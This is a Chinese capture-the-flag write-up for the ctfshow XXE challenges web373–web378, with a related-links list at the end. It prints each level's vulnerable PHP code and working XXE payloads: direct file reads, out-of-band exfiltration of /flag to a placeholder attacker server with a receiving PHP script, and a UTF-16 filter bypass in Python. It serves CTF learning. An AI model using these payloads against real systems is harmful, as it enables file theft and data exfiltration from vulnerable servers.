ctfshow web入门-XXE
ctfshow web入门-XXE
- web373
- 题目描述
- 解题思路
- web374
- 题目描述
- 解题思路
- web375
- 题目描述
- 解题思路
- web376
- 题目描述
- 解题思路
- web377
- 题目描述
- 解题思路
- web378
- 题目描述
- 解题思路
web373
题目描述
- 开X
解题思路
- 题目给出源码,一个有回显的文件读取漏洞
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);
?>
- 抓包发送如下内容
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<H3rmesk1t><ctfshow>&xxe;</ctfshow>
</H3rmesk1t>
web374
题目描述
- 开X
解题思路
- 无回显的文件读取,需要进行外带
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
- 在服务器放置
xxe.php
和xxe.xml
两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
web375
题目描述
- 开X
解题思路
- 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
- 在服务器放置
xxe.php
和xxe.xml
两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
web376
题目描述
- 开X
解题思路
- 无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 抓包发送如下内容
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
- 在服务器放置
xxe.php
和xxe.xml
两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
web377
题目描述
- 开X
解题思路
- 无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16 编码即可
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
- 利用 Python 进行发包
import requests
url = 'http://00edd7b9-7fc6-40fd-937d-deb477902dca.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
- 在服务器放置
xxe.php
和xxe.xml
两个文件
<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
web378
题目描述
- python X
解题思路
- 登录框抓个包,发现是回显 xml 形式,而且是回显 username 的值,构造 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>
ctfshow web入门-XXE相关推荐
- ctfshow web入门 XXE web373~web378
目录 web373 web374.375.376 web377 web378 学习链接: 一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 web373 burpsuite发包,不能用hackb ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- ctfshow web入门 反序列化 前篇 254-266
这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...
- CTFshow——web入门——sql注入
web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...
最新文章
- matlab图像中心坐标的确定,已知散点图中各点的坐标,如何确定散点图的中心点坐标?Matlab? 爱问知识人...
- Sql 某一字段统计
- Javascript中call的使用
- [20171130]关于rman的一些总结.txt
- BeautifulSoup入门案例
- vs安装windows media player 1208
- MaxCompute 图计算用户手册(上)
- ubuntu17.04新安装之后的软件准备
- pr剪辑教程,如何跨剪辑应用和调整效果?
- 组建技术团队的一些思考
- SCSI硬盘设备到/dev/sd设备的映射关系
- Centos 搭建DNS服务器
- servlet003:监听器
- python考勤统计_公司HR统计考勤用这个函数公式,快速、准确完成,再也不加班了...
- 信息学奥赛一本通|1179:奖学金
- JP1081B/9700_USB网卡驱动
- [How To]在Linux下设置无线网络桥接
- Echarts实现多个x轴或y轴曲线图
- 家用计算机做raid有用吗,磁盘阵列是什么?家用有必要磁盘阵列吗
- 什么是网络监控?OpManager 网络监控解决方案
热门文章
- 吃鸡信号枪服务器,绝地求生八人组队新模式介绍,信号枪正式上线服务器!
- UML—对象图、包图
- Python多态的两种实现形式
- 云课堂计算机测试答案,2020智慧职教云课堂计算机数学答案最新最全章节测试答案...
- 如何设置app字体跟随系统_设置Android app的字体不随系统全局字体大小的变动而变动...
- python画草_草刺[python]学习-装饰师,小草,穗,Python,器
- 低代码对接腾讯云-阿里云短信平台
- 第07课:技巧-敏捷教练的四种心法(iPad 版)
- 川大计算机专业保研,四川大学保研条件(四川大学保研政策)
- css字太多了省略_CSS省略号text-overflow超出溢出显示省略号